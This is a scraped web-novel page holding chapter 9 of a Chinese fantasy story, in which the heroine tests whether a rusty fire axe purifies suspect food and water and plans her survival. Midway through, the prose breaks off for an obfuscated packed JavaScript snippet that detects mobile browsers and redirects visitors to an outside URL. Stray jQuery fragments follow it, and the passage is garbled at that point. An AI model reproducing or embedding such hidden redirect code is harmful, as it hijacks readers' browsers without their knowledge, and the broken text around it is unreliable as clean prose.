默认冷灰
24号文字
方正启体

9. 粗砺的生机

作者:笔浓本书字数:K更新时间:
    灰白色的天光,如同稀释了的牛奶,吝啬地透过破窗和门板上的孔洞,渗进这间冰冷破败的小屋。夜晚的纯粹黑暗褪去,取而代之的是一种更清晰、也更无情的荒凉景象——斑驳的土墙,龟裂的地面,角落里散落的朽木碎屑,还有空气中挥之不去的、混合了铁锈、陈腐与一丝若有若无异样焦糊的气味。


    沈默在黎明前最寒冷的那一刻,就已经彻底清醒过来。或者说,她从未真正沉睡。那种半休眠的警觉状态,让她对身体内外的变化保持着最大限度的感知。


    右臂的伤口,麻木的钝痛感依旧,但之前那种火辣辣的、仿佛有蚂蚁在啃噬的锐痛确实减轻了许多。被消防斧“处理”过的区域,像是被一层无形的、冰冷的薄膜覆盖,将伤痛与身体的其他部分隔离开来。这并非治愈,更像是一种强制性的“镇痛”和“迟滞”,为她争取到了宝贵的恢复窗口。


    体能削弱的debuff似乎又减弱了一线。虽然依旧虚弱,手脚冰凉,但那种头重脚轻、随时可能晕厥的极度虚脱感,没有再出现。小乞丐送来的那块粗粝饼块和小半囊脏水,虽然微不足道,却像是一点点火星,重新点燃了这具身体濒临熄灭的代谢炉。


    她缓缓活动了一下僵硬的脖颈和肩膀,骨骼发出细微的“咯啦”声。然后,她伸手,将藏在身后缝隙里的那个破布小包拿了出来。


    打开,里面是两块半黑乎乎的粗粮饼,还有一个瘪下去一些的皮水囊。饼块冰冷坚硬,摸上去粗糙硌手。


    沈默拿起一块饼,没有立刻吃。而是将其凑到眼前,借着逐渐明亮的天光,仔细察看。


    饼的成分很杂,能辨认出碾得极碎的、带着麸皮的粟米粒,一些干硬的、不知名的野菜碎末(或许是灰灰菜、马齿苋之类的野草),甚至还能看到零星极小的、没有淘洗干净的砂砾。颜色灰黑,毫无油光,散发着一种原始的、带着土腥气的粮食味道。


    这是王府最底层,甚至可能是那些连奴籍都没有的“影子”们,赖以活命的口粮。粗糙,难以下咽,但能提供最基础的热量和支撑。


    她又拿起皮水囊,拔开塞子,闻了闻。水依旧浑浊,带着皮囊特有的、难以去除的腥膻味,还有些许泥土的沉淀。


    食物和水有了,虽然低劣,但短期内饿不死了。


    问题是,如何“安全”地食用?柳如烟能用出“睡海棠”和“凝香丸”这种高级货,难保不会在其他地方做手脚,或者那小乞丐本身,就是带着某种目的而来。


    沈默的目光,再次落在手边的消防斧上。


    斧面上的暗红锈迹,在渐亮的天光下,呈现出一种斑驳的、仿佛干涸血块般的质感。她回想起之前粥水抹上斧柄时,锈迹那极其细微的颜色变化。


    这斧头,对“异常物质”有反应?


    她掰下一小块饼屑,大约指甲盖大小,然后用指尖将其碾得更碎,小心地涂抹在消防斧斧面一处锈迹较深的地方。


    然后,凝神感应。


    起初,并无异样。斧头上那股微弱的、冰冷的场依旧平稳地散发着。


    但几息之后,沈默敏锐地察觉到,被饼屑涂抹的那一小片锈迹区域,似乎……“吸收”了那些碎末?不是物理上的黏附,而是那些粗糙的粮食颗粒,在与锈迹接触后,颜色似乎变得更加晦暗,然后极其缓慢地“融化”或者说是“消解”在了锈迹的纹理之中,只留下一点更深的污渍。与此同时,斧头上的“场”,似乎微不可察地……“活跃”了那么一丝丝?


    非常微弱的变化,如果不是她精神高度集中,并且对这把斧头已经有所熟悉,根本无法察觉。


    她又滴了一滴皮囊里的水在另一处锈迹上。


    水珠在粗糙锈蚀的金属表面滚动,浸润开一小片深色。同样,片刻之后,水渍仿佛被锈迹“吞噬”了大部分,残留的水迹颜色也变得有些发暗。斧头的“场”,再次出现了一丝几乎可以忽略不计的波动。


    这斧头……能“消化”或“转化”这些粗劣的食物和水?或者说,它的锈迹,具备某种极其微弱的、过滤或“提纯”作用?将其中可能存在的有害物质进行某种程度的“惰化”或“中和”?


    沈默心中生出一种荒诞却又隐隐觉得合理的猜测。这柄来自未知异位面的消防斧,其“异常”属性或许远比她想象的更复杂。它不仅是对抗系统的工具,可能本身也具备一些奇特的、与物质交互的特性。


    她决定冒一次险。


    没有将饼块整个涂抹,那太浪费,也可能引发不可控的变化。她只是将其中一块饼,在消防斧相对干净些的斧背上,用力地来回摩擦了几下。


    粗糙的饼块表面被磨下了一些更细的粉末,沾染在金属上。她仔细刮下这些粉末,混合着极微量的金属锈屑,重新捏成一个小团。


    然后,她将这个混合着锈屑的饼末团,放入了口中。


    味道……更糟糕了。除了粗粮的涩和野菜的苦,还多了一种鲜明的、令人牙碜的金属腥锈味,仿佛在咀嚼生了锈的铁渣。


    但她强忍着不适,缓慢咀嚼,吞咽下去。


    胃部传来一阵轻微的抽搐,是对这种古怪混合物的本能排斥。但片刻之后,并没有预想中的腹痛或恶心。相反,那一小团食物下肚后,带来的饱腹感和热量感,似乎比之前直接吃的那一小块饼屑,要稍微“实在”那么一点点?而且,口腔里残留的金属锈味,似乎也带着一种奇异的、微弱的清凉感,让干渴的喉咙稍微舒服了一丝。


    是心理作用,还是这锈迹真的起到了某种“催化”或“增益”效果?


    沈默无法确定。但她知道,自己暂时没有中毒或不适的迹象。这就够了。


    她如法炮制,将另一块饼也处理了一下,刮下少量混合锈屑的粉末,小心地收好。然后将剩下的饼块和皮水囊重新包好藏起。


    水,她也用类似的方法处理。倒出一点点在斧面凹陷处,停留片刻,待其颜色微微发暗后,再小心地倒回皮囊。虽然每次只能处理极少量,效率低下,但胜在安全。


    做完这些,天色已经大亮。冬日的阳光有气无力地照进院子,却驱散不了多少寒意。


    沈默抱着消防斧,靠在墙边,一边慢慢消化着胃里那点粗粝而古怪的食物,一边梳理着当前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088091|195401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的处境。


    食物和水的问题,暂时以这种非常规的方式得到了缓解,但远远不够。她需要更多,也需要更稳定的来源。小乞丐是一条线,但不可控。


    楚焱和柳如烟的威胁依然高悬。昨晚的毒粥事件,柳如烟一旦发现花圃的异常,只会更加忌惮和急于除掉她。楚焱那边,封锁命令未改,但以他的性格,不可能一直放任这个“变数”不管,尤其是她手里还有一把“邪门”的斧头。


    系统的沉寂是暂时的。它就像一颗埋在她脑子里的定时炸弹,不知道什么时候会重新启动,或者以什么方式“修复”完成,带来更严苛的管制或更直接的抹杀。


    而她自己,身体依旧残破,力量微乎其微。唯一特殊的,就是这把消防斧,和她这个来自异世、与系统及此世都格格不入的灵魂。


    如何破局?


    硬闯是死路。坐等是等死。


    必须主动出击,利用一切可以利用的,哪怕再微小,再不堪。


    她的目光,缓缓扫过这间破屋,扫过院子里的枯草、废井、狗洞……


    一个初步的计划,在她心底逐渐成形。


    首先,是进一步验证和开发消防斧的“特性”。除了对木质、对疑似毒素、对粗粮水质的反应,它还有什么用?能否用来“加工”其他东西?比如……泥土?石头?或者,对付活物?


    其次,是拓宽信息渠道。小乞丐是个起点,但不够。她需要知道更多王府内的动静,知道楚焱和柳如烟的具体打算,甚至……知道这个世界的更多“规则”。或许,可以利用王府夜晚的“缝隙”,发展出更多的“眼睛”和“耳朵”?那些最底层的、被忽视的、如同野草般生存的“影子”们,或许有他们自己的网络和生存智慧。


    第三,是尽快恢复行动力和一定的自保能力。体能恢复需要时间和营养,急不来。但可以尝试利用消防斧的“麻痹”或“迟滞”效果,结合一些简单的、适合这具虚弱身体的格斗技巧,形成一种独特的、以弱胜强的战斗方式。


    第四,也是最重要的一点——找到对付系统的方法。不能一直靠意志冲击和祈祷它休眠。必须找到它的弱点,它的运行机制,或者……与它“共存”乃至“驾驭”它的可能性。消防斧似乎能干扰它,这是一个方向。


    思路渐渐清晰,但每一步都充满了未知和风险。


    沈默深吸一口冰冷干燥的空气,肺部传来微微的刺痛。她低头,看着怀中斧面上那暗沉发黑的锈迹,伸出手指,轻轻拂过一道较深的锈蚀沟壑。


    粗糙,冰冷,带着一种死物的质感。


    但就是这死物,如今却成了她绝境中唯一的生机所系。


    她握紧斧柄,缓缓站起身。


    身体依旧虚弱,脚步有些发飘。但她站得很稳。


    新的一天。


    该去“打扫”一下院子,顺便……为今晚可能到来的“客人”,或者“变故”,做点准备了。


    她的目光,落向墙角那堆被消防斧“加工”后剩下的、异常干燥酥脆的朽木碎块和粉末。


    嘴角,泛起一丝冰冷而隐晦的弧度。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)